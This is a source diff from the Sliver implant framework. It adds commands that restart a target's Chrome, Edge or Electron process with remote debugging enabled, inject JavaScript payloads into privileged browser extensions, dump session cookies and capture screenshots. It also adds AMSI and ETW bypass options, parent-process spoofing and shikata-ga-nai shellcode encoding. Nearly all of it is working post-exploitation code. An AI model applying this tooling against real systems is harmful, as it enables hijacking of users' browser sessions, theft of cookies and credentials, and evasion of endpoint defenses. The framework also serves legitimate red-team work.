+		// AutoComplete:    nil,
+		InterruptPrompt:   "^C",
+		EOFPrompt:         "exit",
+		HistorySearchFold: true,
+		// FuncFilterInputRune: filterInput,
+	})
+	if err != nil {
+		con.PrintErrorf("Failed to create read line: %s\n", err)
+		return
+	}
+
+	if helpers {
+		// Execute helper hooks
+		ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
+		for _, hook := range helperHooks {
+			_, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, hook)
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+			}
+		}
+	}
+
+	con.Printf(console.Bold+">>> Cursed Console, use ':help' for options%s\n\n", console.Normal)
+	for {
+		line, err := reader.Readline()
+		if err == readline.ErrInterrupt {
+			if len(line) == 0 {
+				break
+			} else {
+				continue
+			}
+		} else if err == io.EOF {
+			break
+		}
+		switch strings.TrimSpace(line) {
+
+		case ":help":
+			con.Println()
+			con.Println("Available commands:")
+			con.Println("  :file - Execute local .js file")
+			con.Println("  :help - Show this help")
+			con.Println("  :exit - Exit the console")
+			con.Println()
+
+		case ":file":
+			jsCode, err := ioutil.ReadFile(line)
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+				continue
+			}
+			ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
+			result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, string(jsCode))
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+				continue
+			}
+			con.Println()
+			if 0 < len(result) {
+				con.Printf("%s\n", result)
+				con.Println()
+			}
+
+		case ":exit":
+			fallthrough
+		case "exit":
+			return
+
+		default:
+			ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
+			result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, line)
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+			}
+			con.Println()
+			if 0 < len(result) {
+				con.Printf("%s\n", result)
+				con.Println()
+			}
+		}
+	}
+}

client/command/cursed/cursed-cookies.go

@@ -0,0 +1,69 @@
+package cursed
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"fmt"
+	"io/ioutil"
+	"strings"
+	"time"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/overlord"
+	"github.com/desertbit/grumble"
+)
+
+func CursedCookiesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	curse := selectCursedProcess(con)
+	if curse == nil {
+		return
+	}
+	con.Println()
+
+	cookies, err := overlord.DumpCookies(curse, curse.DebugURL().String())
+	if err != nil {
+		con.PrintErrorf("Failed to dump cookies: %s\n", err)
+		return
+	}
+
+	con.PrintInfof("Successfully dumped %d cookies\n", len(cookies))
+	if len(cookies) == 0 {
+		return
+	}
+	saveFile := ctx.Flags.String("save")
+	if saveFile == "" {
+		saveFile = fmt.Sprintf("cookies-%s.json", time.Now().Format("20060102150405"))
+	}
+	jsonCookies := []string{}
+	for _, cookie := range cookies {
+		jsonCookie, err := cookie.MarshalJSON()
+		if err != nil {
+			con.PrintErrorf("Failed to marshal cookie: %s\n", err)
+			continue
+		}
+		jsonCookies = append(jsonCookies, string(jsonCookie))
+	}
+	err = ioutil.WriteFile(saveFile, []byte(strings.Join(jsonCookies, "\n")), 0600)
+	if err != nil {
+		con.PrintErrorf("Failed to save cookies: %s\n", err)
+		return
+	}
+	con.PrintInfof("Saved to %s", saveFile)
+	con.Println()
+}

client/command/cursed/cursed-edge.go

@@ -0,0 +1,170 @@
+package cursed
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"io/ioutil"
+	"strings"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/core"
+	"github.com/bishopfox/sliver/client/overlord"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+)
+
+// CursedChromeCmd - Execute a .NET assembly in-memory
+func CursedEdgeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+
+	payloadPath := ctx.Flags.String("payload")
+	var payload []byte
+	var err error
+	if payloadPath != "" {
+		payload, err = ioutil.ReadFile(payloadPath)
+		if err != nil {
+			con.PrintErrorf("Could not read payload file: %s\n", err)
+			return
+		}
+	}
+
+	curse := avadaKedavraEdge(session, ctx, con)
+	if curse == nil {
+		return
+	}
+	if payloadPath == "" {
+		con.PrintWarnf("No Cursed Edge payload was specified, skipping payload injection.\n")
+		return
+	}
+
+	con.PrintInfof("Searching for Edge extension with all permissions ... ")
+	chromeExt, err := overlord.FindExtensionWithPermissions(curse, cursedChromePermissions)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	// There is one alternative set of permissions that we can use if we don't find an extension
+	// with all the proper permissions.
+	if chromeExt == nil {
+		chromeExt, err = overlord.FindExtensionWithPermissions(curse, cursedChromePermissionsAlt)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
+	if chromeExt != nil {
+		con.Printf("success!\n")
+		con.PrintInfof("Found viable Edge extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
+		con.PrintInfof("Injecting payload ... ")
+		ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
+		// extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second)
+		// defer cancel()
+		_, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		con.Printf("success!\n")
+	} else {
+		con.Printf("failure!\n")
+		con.PrintInfof("No viable Edge extensions were found ☹️\n")
+	}
+}
+
+func avadaKedavraEdge(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
+	edgeProcess, err := getEdgeProcess(session, ctx, con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return nil
+	}
+	if edgeProcess != nil {
+		con.PrintWarnf("Found running Edge process: %d (ppid: %d)\n", edgeProcess.GetPid(), edgeProcess.GetPpid())
+		con.PrintWarnf("Sliver will need to kill and restart the Edge process in order to perform code injection.\n")
+		con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
+		con.Printf("\n")
+		confirm := false
+		err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Edge process?"}, &confirm)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return nil
+		}
+		if !confirm {
+			con.PrintErrorf("User cancel\n")
+			return nil
+		}
+		terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
+			Request: con.ActiveTarget.Request(ctx),
+			Pid:     edgeProcess.GetPid(),
+		})
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return nil
+		}
+		if terminateResp.Response != nil && terminateResp.Response.Err != "" {
+			con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
+			return nil
+		}
+	}
+	curse, err := startCursedChromeProcess(true, session, ctx, con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return nil
+	}
+	return curse
+}
+
+func isEdgeProcess(executable string) bool {
+	var edgeProcessNames = []string{
+		"msedge",         // Linux
+		"microsoft-edge", // Linux
+		"msedge.exe",     // Windows
+		"Microsoft Edge", // Darwin
+	}
+	for _, suffix := range edgeProcessNames {
+		if strings.HasSuffix(executable, suffix) {
+			return true
+		}
+	}
+	return false
+}
+
+func getEdgeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
+	ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
+		Request: con.ActiveTarget.Request(ctx),
+	})
+	if err != nil {
+		return nil, err
+	}
+	for _, process := range ps.Processes {
+		if process.GetOwner() != session.GetUsername() {
+			continue
+		}
+		if isEdgeProcess(process.GetExecutable()) {
+			return process, nil
+		}
+	}
+	return nil, nil
+}

client/command/cursed/cursed-electron.go

@@ -0,0 +1,233 @@
+package cursed
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"log"
+	insecureRand "math/rand"
+	"path"
+	"time"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/core"
+	"github.com/bishopfox/sliver/client/overlord"
+	"github.com/bishopfox/sliver/client/tcpproxy"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+)
+
+func CursedElectronCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+
+	electronExe := ctx.Flags.String("exe")
+	if electronExe == "" {
+		con.PrintErrorf("Missing --exe flag, see --help\n")
+		return
+	}
+
+	curse := avadaKedavraElectron(electronExe, session, ctx, con)
+	if curse == nil {
+		return
+	}
+	con.PrintInfof("Checking for debug targets ...")
+	targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
+	con.Printf(console.Clearln + "\r")
+	if err != nil {
+		con.PrintErrorf("Failed to query debug targets: %s\n", err)
+		return
+	}
+	if len(targets) == 0 {
+		con.PrintErrorf("Zero debug targets found\n")
+		return
+	}
+	con.PrintInfof("Found %d debug targets, good hunting!\n", len(targets))
+}
+
+func avadaKedavraElectron(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
+	exists, err := checkElectronPath(electronExe, session, ctx, con)
+	if err != nil {
+		con.PrintErrorf("%s", err)
+		return nil
+	}
+	if !exists {
+		con.PrintErrorf("Executable path does not exist: %s", electronExe)
+		return nil
+	}
+	electronProcess, err := checkElectronProcess(electronExe, session, ctx, con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return nil
+	}
+	if electronProcess != nil {
+		con.PrintWarnf("Found running '%s' process: %d (ppid: %d)\n", path.Base(electronExe), electronProcess.GetPid(), electronProcess.GetPpid())
+		con.PrintWarnf("Sliver will need to kill and restart the process in order to perform code injection.\n")
+		con.PrintWarnf("%sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
+		con.Printf("\n")
+		confirm := false
+		err = survey.AskOne(&survey.Confirm{Message: "Kill and restart the process?"}, &confirm)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return nil
+		}
+		if !confirm {
+			con.PrintErrorf("User cancel\n")
+			return nil
+		}
+		terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
+			Request: con.ActiveTarget.Request(ctx),
+			Pid:     electronProcess.Pid,
+		})
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return nil
+		}
+		if terminateResp.Response != nil && terminateResp.Response.Err != "" {
+			con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
+			return nil
+		}
+	}
+	curse, err := startCursedElectronProcess(electronExe, session, ctx, con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return nil
+	}
+	return curse
+}
+
+func checkElectronPath(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (bool, error) {
+	ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
+		Request: con.ActiveTarget.Request(ctx),
+		Path:    electronExe,
+	})
+	if err != nil {
+		return false, err
+	}
+	return ls.GetExists(), nil
+}
+
+func checkElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
+	ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
+		Request: con.ActiveTarget.Request(ctx),
+	})
+	if err != nil {
+		return nil, err
+	}
+	for _, process := range ps.Processes {
+		if process.GetOwner() != session.GetUsername() {
+			continue
+		}
+		if process.GetExecutable() == electronExe || path.Base(process.GetExecutable()) == path.Base(electronExe) {
+			return process, nil
+		}
+	}
+	return nil, nil
+}
+
+func startCursedElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
+	con.PrintInfof("Starting '%s' ... ", path.Base(electronExe))
+	debugPort := getRemoteDebuggerPort(ctx)
+	args := []string{
+		fmt.Sprintf("--remote-debugging-port=%d", debugPort),
+	}
+	additionalArgs := ctx.Args.StringList("args")
+	if len(additionalArgs) > 0 {
+		args = append(args, additionalArgs...)
+	}
+
+	// Execute the Chrome process with the extra flags
+	// TODO: PPID spoofing, etc.
+	electronExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
+		Request: con.ActiveTarget.Request(ctx),
+		Path:    electronExe,
+		Args:    args,
+		Output:  false,
+	})
+	if err != nil {
+		con.Printf("failure!\n")
+		return nil, err
+	}
+	con.Printf("(pid: %d) success!\n", electronExec.GetPid())
+
+	con.PrintInfof("Waiting for process to initialize ... ")
+	time.Sleep(2 * time.Second)
+
+	bindPort := insecureRand.Intn(10000) + 40000
+	bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
+
+	remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
+
+	tcpProxy := &tcpproxy.Proxy{}
+	channelProxy := &core.ChannelProxy{
+		Rpc:             con.Rpc,
+		Session:         session,
+		RemoteAddr:      remoteAddr,
+		BindAddr:        bindAddr,
+		KeepAlivePeriod: 60 * time.Second,
+		DialTimeout:     30 * time.Second,
+	}
+	tcpProxy.AddRoute(bindAddr, channelProxy)
+	portFwd := core.Portfwds.Add(tcpProxy, channelProxy)
+
+	curse := &core.CursedProcess{
+		SessionID:   session.ID,
+		PID:         electronExec.GetPid(),
+		PortFwd:     portFwd,
+		BindTCPPort: bindPort,
+		Platform:    session.GetOS(),
+		ExePath:     electronExe,
+	}
+	core.CursedProcesses.Store(bindPort, curse)
+	go func() {
+		err := tcpProxy.Run()
+		if err != nil {
+			log.Printf("Proxy error %s", err)
+		}
+		core.CursedProcesses.Delete(bindPort)
+	}()
+
+	con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr)
+
+	return curse, nil
+}
+
+func getElectronProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
+	ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
+		Request: con.ActiveTarget.Request(ctx),
+	})
+	if err != nil {
+		return nil, err
+	}
+	for _, process := range ps.Processes {
+		if process.GetOwner() != session.GetUsername() {
+			continue
+		}
+		if isChromeProcess(process.GetExecutable()) {
+			return process, nil
+		}
+	}
+	return nil, nil
+}

client/command/cursed/cursed-rm.go

@@ -0,0 +1,75 @@
+package cursed
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/core"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+)
+
+func CursedRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+	kill := ctx.Flags.Bool("kill")
+	bindPort := ctx.Args.Int("bind-port")
+	core.CloseCursedProcessesByBindPort(session.ID, bindPort)
+	if kill {
+		confirm := false
+		err := survey.AskOne(&survey.Confirm{Message: "Kill the cursed process?"}, &confirm)
+		if err != nil {
+			con.PrintErrorf("%s", err)
+			return
+		}
+		if !confirm {
+			con.PrintErrorf("User cancel\n")
+			return
+		}
+		// Get cursed process
+		var cursedProc *core.CursedProcess
+		curses := core.CursedProcessBySessionID(session.ID)
+		for _, curse := range curses {
+			if curse.BindTCPPort == bindPort {
+				cursedProc = curse
+			}
+		}
+		if cursedProc == nil {
+			con.PrintErrorf("Failed to find cursed process\n")
+			return
+		}
+		terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
+			Request: con.ActiveTarget.Request(ctx),
+			Pid:     int32(cursedProc.PID),
+		})
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		if terminateResp.Response != nil && terminateResp.Response.Err != "" {
+			con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
+			return
+		}
+	}
+}

client/command/cursed/cursed-screenshot.go

@@ -0,0 +1,69 @@
+package cursed
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"fmt"
+	"io/ioutil"
+	"time"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/overlord"
+	"github.com/desertbit/grumble"
+)
+
+func CursedScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	curse := selectCursedProcess(con)
+	if curse == nil {
+		return
+	}
+	con.Println()
+	con.PrintInfof("Querying debug targets ... ")
+	targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
+	con.Printf(console.Clearln + "\r")
+	if err != nil {
+		con.PrintErrorf("Failed to query debug targets: %s\n", err)
+		return
+	}
+	target := selectDebugTarget(targets, con)
+	if target == nil {
+		return
+	}
+	con.PrintInfof("Taking a screenshot of '%s' ... \n\n", target.Title)
+	quality := ctx.Flags.Int64("quality")
+	if quality < 1 || quality > 100 {
+		con.PrintErrorf("Invalid quality value, must be between 1 and 100\n")
+		return
+	}
+	data, err := overlord.Screenshot(curse, target.WebSocketDebuggerURL, target.ID, quality)
+	if err != nil {
+		con.PrintErrorf("Failed to take screenshot: %s\n", err)
+		return
+	}
+	saveFile := ctx.Flags.String("save")
+	if saveFile == "" {
+		saveFile = fmt.Sprintf("screenshot-%s.png", time.Now().Format("20060102150405"))
+	}
+	err = ioutil.WriteFile(saveFile, data, 0644)
+	if err != nil {
+		con.PrintErrorf("Failed to save screenshot: %s\n", err)
+		return
+	}
+	con.PrintInfof("Screenshot saved to %s\n", saveFile)
+}

client/command/cursed/cursed.go

@@ -0,0 +1,121 @@
+package cursed
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"bytes"
+	"fmt"
+	insecureRand "math/rand"
+	"strconv"
+	"strings"
+	"text/tabwriter"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/command/settings"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/core"
+	"github.com/desertbit/grumble"
+	"github.com/jedib0t/go-pretty/v6/table"
+)
+
+// CursedChromeCmd - Execute a .NET assembly in-memory
+func CursedCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	// Collect existing curses from core
+	cursedProcesses := [][]string{}
+	core.CursedProcesses.Range(func(key, value interface{}) bool {
+		curse := value.(*core.CursedProcess)
+		cursedProcesses = append(cursedProcesses, []string{
+			fmt.Sprintf("%d", curse.BindTCPPort),
+			strings.Split(curse.SessionID, "-")[0],
+			fmt.Sprintf("%d", curse.PID),
+			curse.Platform,
+			curse.ExePath,
+			curse.DebugURL().String(),
+		})
+		return true
+	})
+	// Display table if we have 1 or more curses
+	if 0 < len(cursedProcesses) {
+		tw := table.NewWriter()
+		tw.SetStyle(settings.GetTableStyle(con))
+		tw.AppendHeader(table.Row{
+			"Bind Port", "Session ID", "PID", "Platform", "Executable", "Debug URL",
+		})
+		for _, rowEntries := range cursedProcesses {
+			row := table.Row{}
+			for _, entry := range rowEntries {
+				row = append(row, entry)
+			}
+			tw.AppendRow(table.Row(row))
+		}
+		con.Printf("%s\n", tw.Render())
+	} else {
+		con.PrintInfof("No cursed processes\n")
+	}
+}
+
+// selectCursedProcess - Interactively select a cursed process from a list
+func selectCursedProcess(con *console.SliverConsoleClient) *core.CursedProcess {
+	cursedProcesses := []*core.CursedProcess{}
+	core.CursedProcesses.Range(func(key, value interface{}) bool {
+		cursedProcesses = append(cursedProcesses, value.(*core.CursedProcess))
+		return true
+	})
+	if len(cursedProcesses) < 1 {
+		con.PrintErrorf("No cursed processes\n")
+		return nil
+	}
+
+	port2process := map[int]*core.CursedProcess{}
+	outputBuf := bytes.NewBufferString("")
+	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
+	for _, cursedProcess := range cursedProcesses {
+		fmt.Fprintf(table, "%d\t%s\t%s\n",
+			cursedProcess.BindTCPPort,
+			fmt.Sprintf("[Session %s]", strings.Split(cursedProcess.SessionID, "-")[0]),
+			cursedProcess.ExePath)
+		port2process[cursedProcess.BindTCPPort] = cursedProcess
+	}
+	table.Flush()
+	options := strings.Split(outputBuf.String(), "\n")
+	options = options[:len(options)-1] // Remove the last empty option
+	prompt := &survey.Select{
+		Message: "Select a curse:",
+		Options: options,
+	}
+	selected := ""
+	err := survey.AskOne(prompt, &selected)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return nil
+	}
+	if selected == "" {
+		return nil
+	}
+	selectedPortNumber, _ := strconv.Atoi(strings.Split(selected, " ")[0])
+	return port2process[selectedPortNumber]
+}
+
+func getRemoteDebuggerPort(ctx *grumble.Context) int {
+	port := int(uint16(ctx.Flags.Int("remote-debugging-port")))
+	if port == 0 {
+		port = insecureRand.Intn(30000) + 10000
+	}
+	return port
+}

client/command/exec/execute-assembly.go

@@ -24,6 +24,7 @@ import (
 	"path/filepath"
 	"strings"
 
+	"github.com/AlecAivazis/survey/v2"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -57,22 +58,43 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 
 	assemblyArgs := ctx.Args.StringList("arguments")
 	process := ctx.Flags.String("process")
+	processArgsStr := ctx.Flags.String("process-arguments")
+	processArgs := strings.Split(processArgsStr, " ")
+
+	runtime := ctx.Flags.String("runtime")
+	etwBypass := ctx.Flags.Bool("etw-bypass")
+	amsiBypass := ctx.Flags.Bool("amsi-bypass")
 
 	assemblyArgsStr := strings.Join(assemblyArgs, " ")
 	assemblyArgsStr = strings.TrimSpace(assemblyArgsStr)
+	if len(assemblyArgsStr) > 256 {
+		con.PrintWarnf(" Injected .NET assembly arguments are limited to 256 characters when using the default fork/exec model.\nConsider using the --in-process flag to execute the .NET assembly in-process and work around this limitation.\n")
+		confirm := false
+		prompt := &survey.Confirm{Message: "Do you want to continue?"}
+		survey.AskOne(prompt, &confirm, nil)
+		if !confirm {
+			return
+		}
+	}
 
 	ctrl := make(chan bool)
 	con.SpinUntil("Executing assembly ...", ctrl)
 	execAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
-		Request:   con.ActiveTarget.Request(ctx),
-		IsDLL:     isDLL,
-		Process:   process,
-		Arguments: assemblyArgsStr,
-		Assembly:  assemblyBytes,
-		Arch:      ctx.Flags.String("arch"),
-		Method:    ctx.Flags.String("method"),
-		ClassName: ctx.Flags.String("class"),
-		AppDomain: ctx.Flags.String("app-domain"),
+		Request:     con.ActiveTarget.Request(ctx),
+		IsDLL:       isDLL,
+		Process:     process,
+		Arguments:   assemblyArgsStr,
+		Assembly:    assemblyBytes,
+		Arch:        ctx.Flags.String("arch"),
+		Method:      ctx.Flags.String("method"),
+		ClassName:   ctx.Flags.String("class"),
+		AppDomain:   ctx.Flags.String("app-domain"),
+		ProcessArgs: processArgs,
+		PPid:        uint32(ctx.Flags.Uint("ppid")),
+		Runtime:     runtime,
+		EtwBypass:   etwBypass,
+		AmsiBypass:  amsiBypass,
+		InProcess:   ctx.Flags.Bool("in-process"),
 	})
 	ctrl <- true
 	<-ctrl

client/command/exec/execute-shellcode.go

@@ -44,6 +44,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 		return
 	}
 
+	rwxPages := ctx.Flags.Bool("rwx-pages")
 	interactive := ctx.Flags.Bool("interactive")
 	if interactive && beacon != nil {
 		con.PrintErrorf("Interactive shellcode can only be executed in a session\n")
@@ -60,8 +61,37 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 		con.PrintErrorf("Cannot use both `--pid` and `--interactive`\n")
 		return
 	}
+	shikataGaNai := ctx.Flags.Bool("shikata-ga-nai")
+	if shikataGaNai {
+		if !rwxPages {
+			con.PrintErrorf("Cannot use shikata ga nai without RWX pages enabled\n")
+			return
+		}
+		arch := ctx.Flags.String("architecture")
+		if arch != "386" && arch != "amd64" {
+			con.PrintErrorf("Invalid shikata ga nai architecture (must be 386 or amd64)\n")
+			return
+		}
+		iter := ctx.Flags.Int("iterations")
+		con.PrintInfof("Encoding shellcode ...\n")
+		resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
+			Encoder:      clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
+			Architecture: arch,
+			Iterations:   uint32(iter),
+			BadChars:     []byte{},
+			Data:         shellcodeBin,
+		})
+		if err != nil {
+			con.PrintErrorf("%s\n", err.Error())
+			return
+		}
+		oldSize := len(shellcodeBin)
+		shellcodeBin = resp.GetData()
+		con.PrintInfof("Shellcode encoded in %d iterations (%d bytes -> %d bytes)\n", iter, oldSize, len(shellcodeBin))
+	}
+
 	if interactive {
-		executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, ctx.Flags.Bool("rwx-pages"), con)
+		executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, rwxPages, con)
 		return
 	}
 	ctrl := make(chan bool)
@@ -69,7 +99,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 	con.SpinUntil(msg, ctrl)
 	shellcodeTask, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
 		Data:     shellcodeBin,
-		RWXPages: ctx.Flags.Bool("rwx-pages"),
+		RWXPages: rwxPages,
 		Pid:      uint32(pid),
 		Request:  con.ActiveTarget.Request(ctx),
 	})

client/command/exec/execute.go

@@ -47,6 +47,7 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	stderr := ctx.Flags.String("stderr")
 	saveLoot := ctx.Flags.Bool("loot")
 	saveOutput := ctx.Flags.Bool("save")
+	ppid := ctx.Flags.Uint("ppid")
 	hostName := getHostname(session, beacon)
 
 	// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
@@ -61,14 +62,16 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 
